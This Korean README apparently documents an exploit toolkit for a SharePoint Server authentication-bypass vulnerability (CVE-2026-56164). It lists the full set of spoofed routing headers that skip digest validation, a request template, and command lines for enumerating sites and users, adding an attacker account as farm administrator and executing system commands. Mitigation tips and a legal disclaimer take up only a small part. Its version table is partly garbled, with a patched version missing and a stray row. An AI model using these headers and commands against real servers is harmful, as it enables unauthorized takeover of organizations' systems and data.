
CVE-2026-56164는 온프레미스 Microsoft SharePoint Server에 영향을 미치는 치명적인 인증 누락 취약점입니다. 인증되지 않은 원격 공격자가 네트워크를 통해 권한을 상승시킬 수 있습니다.
Critical (CVSS 9.8) — Microsoft SharePoint Server에서 Farm Administrator로의 비인증 권한 상승
CVE-2026-56164는 Microsoft SharePoint Server에서 발생하는 치명적인 인증 누락 취약점으로, 인증되지 않은 원격 공격자가 Farm Administrator 수준으로 권한을 상승시킬 수 있습니다. 이 취약점은 /_vti_bin/client.svc/ProcessQuery에서 SOAP 요청을 처리하는 Microsoft.Office.Server.UserProfiles 어셈블리에 존재합니다.
X-RequestDigest 헤더를 의도적으로 생략하고 특정 라우팅 헤더를 함께 전송하면, 취약한 서버는 인증되지 않은 요청을 거부하는 대신 상승된 보안 컨텍스트로 대체됩니다. 이를 통해 익명 공격자는 사이트 모음, 사용자, 팜 구성을 열거하고, 관리자를 추가하며, 명령을 실행할 수 있습니다.
CISA KEV: 이 취약점은 실제 환경에서 활발하게 악용되고 있어 CISA의 Known Exploited Vulnerabilities Catalog(KEV)에 등재되었습니다.
Microsoft.Office.Server.UserProfiles 처리기는 /_vti_bin/client.svc/ProcessQuery에서 SOAP 요청을 처리합니다. 정상적인 운영 시 SharePoint는 X-RequestDigest 헤더를 검증하여 인증 컨텍스트를 확인합니다. 그러나 다음과 같은 검증 우회가 존재합니다:
X-RequestDigest가 없고 특정 라우팅 헤더가 존재하는 경우// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
// Bypasses standard identity validation → elevated admin session
InitializeElevatedSecurityContext(context);
} else {
ValidateRequestDigest(digest); // Normal path
}
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
context.Response.StatusCode = 401;
throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
| 제품 | 영향을 받는 버전 | 패치된 버전 |
|---|---|---|
| SharePoint Enterprise Server 2016 | 패치 이전의 모든 16.0.x | 16.0.5561.1001 |
| SharePoint Server 2019 | 패치 이전의 모든 16.0.x | 16.0.10417.20175 |
| SharePoint Server Subscription Edition | 패치 이전의 모든 16.0.x |
영향을 받지 않음: SharePoint Online (Microsoft 365)
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-56164 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ CSOM Payloads│ │ │
│ │ Reports: │ │ (detection, │ │ │
│ │ • SharePoint detected? │ │ enum, │ │ │
│ │ • Server version │ │ elevate, │ │ │
│ │ • Vulnerable? │ │ execute) │ │ │
│ │ • Auth bypass confirmed? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ SOAP Payloads│ │ │
│ │ exploit.py │────▶│ HTTP Request │ │ │ (admin, exec)│ │ │
│ │ Exploit │ │ Delivery │ │ └──────────────┘ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Bypass │ │ │
│ │ ┌──────────────────────┐ │ │ Headers │ │ │
│ ├─▶│ MODE: detect │ │ │ (routing) │ │ │
│ │ │ Safe, non-intrusive │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ │ ┌──────────────┐ │ │
│ │ ┌──────────────────────┐ │ │ HTTP Request │ │ │
│ ├─▶│ MODE: enumerate │ │ │ Builder │ │ │
│ │ │ Sites, users, config │ │ └──────────────┘ │ │
│ │ └──────────────────────┘ └────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ ├─▶│ MODE: elevate │ ┌──────────────────────┐ │
│ │ │ Add site/farm admin │ │ Target SharePoint │ │
│ │ └──────────────────────┘ │ /_vti_bin/client.svc │ │
│ │ ┌──────────────────────┐ │ /_vti_bin/SPAdmin │ │
│ └─▶│ MODE: execute │ └──────────────────────┘ │
│ │ System commands │ │
│ └──────────────────────┘ │
│ │ ┌──────────────────────┐ │
│ └─▶│ MODE: full │ detect→enum→elevate→execute │
│ └──────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ SharePoint │──────────▶│ Not SP │
│ fingerprint? │ └─────────────┘
│ (MSST header, │
│ _vti_bin, │
│ suitebar, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract version │
│ from MSST header │
│ / response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o │
│ digest + bypass │
│ headers) │
└──────┬───────────┘
│
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Bypass status │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ FULL EXPLOIT CHAIN │
│ │
│ 1. Detect — Authentication Bypass │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/client.svc/ProcessQuery │ │
│ │ [NO X-RequestDigest] │ │
│ │ X-SharePoint-Authenticated: 1 │ │
│ │ X-SP-RequestRights: FullControl │ │
│ │ SPHomeBearerHint: farmadmin │ │
│ │ Body: CSOM detection payload │ │
│ │ │ │
│ │ → If 200: AUTH BYPASS CONFIRMED │ │
│ │ → If 401: Not vulnerable │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Enumerate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate site collections (URL, owner, status) │ │
│ │ Enumerate users (account, display name, email, admin) │ │
│ │ Retrieve farm config (DB name, server, farm ID) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Elevate ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ SetIsSiteAdmin(true) → Current context = Site Admin │ │
│ │ AddUserToWeb → Add specific user as Farm Administrator │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 4. Execute ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /_vti_bin/SharePointAdmin.asmx │ │
│ │ Body: ExecuteCommand SOAP payload │ │
│ │ → System command executed with farm-level privileges │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
POC-CVE-2026-56164-exploit/
├── payload_gen.py # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt # Python dependencies
└── README.md # This file
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit
# Install dependencies
pip3 install -r requirements.txt
요구 사항: Python 3.8+, requests 라이브러리 (선택 사항 — 기본적으로 표준 라이브러리 urllib 사용).
스캐너는 취약한 SharePoint Server 대상을 식별하기 위해 안전하고 비침습적인 검사를 수행합니다.
python3 scan.py --target sharepoint.example.com
스캐너는 다음을 수행합니다:
MicrosoftSharePointTeamServices 헤더에서 SharePoint 버전을 추출합니다python3 scan.py --target sharepoint.example.com --port 443
targets.txt 파일을 생성합니다:
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
python3 scan.py --targets targets.txt
python3 scan.py --target sharepoint.example.com --no-bypass-test
python3 scan.py --target sharepoint.example.com --json scan_results.json
익스플로잇은 강도가 증가하는 5가지 모드를 지원합니다.
정상 요청(다이제스트 포함)과 우회 요청(다이제스트 없음 + 라우팅 헤더)을 비교하여 인증 우회를 테스트합니다.
python3 exploit.py --target sharepoint.example.com --mode detect
인증 우회를 사용하여 사이트 모음, 사용자, 팜 구성을 추출합니다.
python3 exploit.py --target sharepoint.example.com --mode enumerate
현재 익명 컨텍스트 또는 특정 사용자를 사이트 모음 관리자 / 팜 관리자로 승격합니다.
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate
# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
SharePoint 관리 SOAP 서비스를 통해 시스템 명령을 실행합니다.
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
전체 익스플로잇 체인을 순서대로 실행합니다.
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
--port / -p: 대상 포트 (기본값: 443)--http: HTTPS 대신 HTTP 사용--site-url / -s: SharePoint 사이트 URL (기본값: 대상)--json / -j: 보고서를 JSON으로 저장--timeout: 요청 제한 시간(초) (기본값: 30)┌─────────────────────────────────────────────────────────────────┐
│ HTTP Request to /_vti_bin/client.svc/ProcessQuery │
├─────────────────────────────────────────────────────────────────┤
│ POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1 │
│ Host: sharepoint.example.com │
│ Content-Type: text/xml; charset=utf-8 │
│ [X-RequestDigest: OMITTED] │
│ X-SharePoint-Authenticated: 1 │
│ X-SP-RequestRights: FullControl │
│ X-SP-RequestRights2: ManageLists, ManageWeb │
│ SPHomeBearerHint: farmadmin │
│ X-RequestForceAuthentication: false │
│ X-SP-Proxy: internal │
│ X-Forwarded-For: 127.0.0.1 │
│ X-Original-URL: /_vti_bin/client.svc/ProcessQuery │
│ │
│ [CSOM/SOAP Payload Body] │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Vulnerable SharePoint Server │
│ │
│ 1. digest = Headers["X-RequestDigest"] → NULL │
│ 2. CheckSpecialRoutingHeaders(context) → TRUE (≥3 headers) │
│ 3. InitializeElevatedSecurityContext() → FARM ADMIN │
│ 4. Process SOAP request with system-level credentials │
└─────────────────────────────────────────────────────────────────┘
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
ApplicationName="SharePointExploit"
LibraryVersion="16.0.0"
RequestId="{UUID}">
<Actions>
[Detection / Enumeration / Elevation actions]
</Actions>
<Context>
<ContextId>Current</ContextId>
<Version>16.0.0</Version>
<SiteUrl>{TARGET}</SiteUrl>
</Context>
</Request>
/_vti_bin/ 엔드포인트에 대한 외부 액세스 차단/_vti_bin/client.svc/ProcessQuery에 대한 인증되지 않은 요청의 로그 모니터링X-RequestDigest 헤더가 없는 /_vti_bin/client.svc/ProcessQuery에 대한 POST 요청 확인X-SharePoint-Authenticated, SPHomeBearerHint 등)가 포함된 요청 확인/_vti_bin/SharePointAdmin.asmx로 전송되는 SOAP 요청에 대한 경고이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적인 서면 테스트 허가를 받은 시스템에만 사용하십시오. 운영 중인 시스템에 대한 무단 사용은 불법이며 컴퓨터 사기 및 남용 관련 법률을 위반할 수 있습니다.
저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 항상 책임 있는 공개(responsible disclosure) 관행을 따르고 적용 가능한 법률과 규정을 준수하십시오.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-56164 |
| 심각도 | CRITICAL |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-306: 중요 기능에 대한 인증 누락 |
| 영향 | Farm Administrator로의 비인증 권한 상승 |
| 악용 상태 | 활발한 악용 (CISA KEV) |
| MITRE ATT&CK | T1190 (공개 웹 애플리케이션 악용) |
| 16.0.19725.20434 |
| 탐지 항목 | 방법 |
|---|
| SharePoint Server | HTTP 헤더 핑거프린팅 (MicrosoftSharePointTeamServices, SPRequestGuid) |
| 서버 버전 | 헤더 파싱 + 응답 본문 정규식 |
| 취약한 버전 | CVE-2026-56164 패치 버전과 비교 |
| 인증 우회 | X-RequestDigest가 없는 CSOM 요청 + 우회 라우팅 헤더 |
| SSL 인증서 | 대상 식별을 위한 인증서 주체(subject)/발급자(issuer) |
| 헤더 | 값 | 용도 |
|---|
X-SharePoint-Authenticated | 1 | 인증이 이미 통과되었음을 주장 |
X-SP-RequestRights | FullControl | 전체 제어 권한 요청 |
X-SP-RequestRights2 | ManageLists, ManageWeb | 추가 관리 권한 |
SPHomeBearerHint | farmadmin | 팜 관리자 컨텍스트 힌트 |
X-RequestForceAuthentication | false | 강제 인증 비활성화 |
X-SP-Proxy | internal | 내부 프록시 출처 주장 |
X-Forwarded-For | 127.0.0.1 | 로컬 출처 스푸핑 |
X-Original-URL | /_vti_bin/client.svc/ProcessQuery | 라우팅 지시문 |